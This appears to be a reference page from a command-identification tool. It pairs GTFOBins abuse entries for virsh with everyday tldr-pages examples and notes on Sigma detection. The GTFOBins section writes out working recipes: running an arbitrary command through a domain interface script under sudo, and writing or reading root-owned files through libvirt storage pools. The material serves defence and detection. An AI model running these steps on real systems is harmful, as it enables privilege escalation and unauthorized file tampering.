Identifier / Programs / Linux and Unix

virsh

Manage virsh guest domains. Some subcommands such as list have their own usage documentation. tldr-pages

GTFOBins command, file-write 3 documented commands

How virsh is abused

documented by GTFOBins

command

create

-c

file-write

pool-create-as

-c

--target

--pool

--file

file-write

pool-create-as

-c

--target

--pool

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for virsh.

3 documented commands

from GTFOBins, each read by the identifier

command with sudo

cat >/path/to/temp-file.xml <<EOF
<domain type='kvm'>
  <name>x</name>
  <os>
    <type arch='x86_64'>hvm</type>
  </os>
  <memory unit='KiB'>1</memory>
  <devices>
    <interface type='ethernet'>
      <script path='/path/to/command'/>
    </interface>
  </devices>
</domain>
EOF
virsh -c qemu:///system create /path/to/temp-file.xml
virsh -c qemu:///system destroy x

Identify

file-write unprivileged, with sudo

This requires the user to be in the libvirt group. If the target directory doesn't exist, pool-create-as must be run with the --build option. The destination file ownership and permissions can be set in the XML.

echo DATA >/path/to/temp-file

cat >/path/to/temp-file.xml <<EOF
<volume type='file'>
  <name>y</name>
  <key>/path/to/output-dir/output-file</key>
  <source>
  </source>
  <capacity unit='bytes'>5</capacity>
  <allocation unit='bytes'>4096</allocation>
  <physical unit='bytes'>5</physical>
  <target>
    <path>/path/to/output-dir/output-file</path>
    <format type='raw'/>
    <permissions>
      <mode>0600</mode>
      <owner>0</owner>
      <group>0</group>
    </permissions>
  </target>
</volume>
EOF

virsh -c qemu:///system pool-create-as x dir --target /path/to/output-dir/
virsh -c qemu:///system vol-create --pool x --file /path/to/temp-file.xml
virsh -c qemu:///system vol-upload --pool x /path/to/output-dir/output-file /path/to/temp-file
virsh -c qemu:///system pool-destroy x

Identify

file-write unprivileged, with sudo

This requires the user to be in the libvirt group.

virsh -c qemu:///system pool-create-as x dir --target /path/to/dir/
virsh -c qemu:///system vol-download --pool x input-file output-file
virsh -c qemu:///system pool-destroy x

Identify

None of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for virsh. The identifier reads the line of each that runs virsh.

Everyday use

from tldr-pages, CC BY 4.0

Connect to a hypervisor session interactively

virsh --connect qemu:///systemIdentify

List all domains

virsh --connect uri list --allIdentify

Activate a network named default

sudo virsh net-start defaultIdentify

None of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.

virsh

How virsh is abused

3 documented commands

Everyday use

Other programs abused for command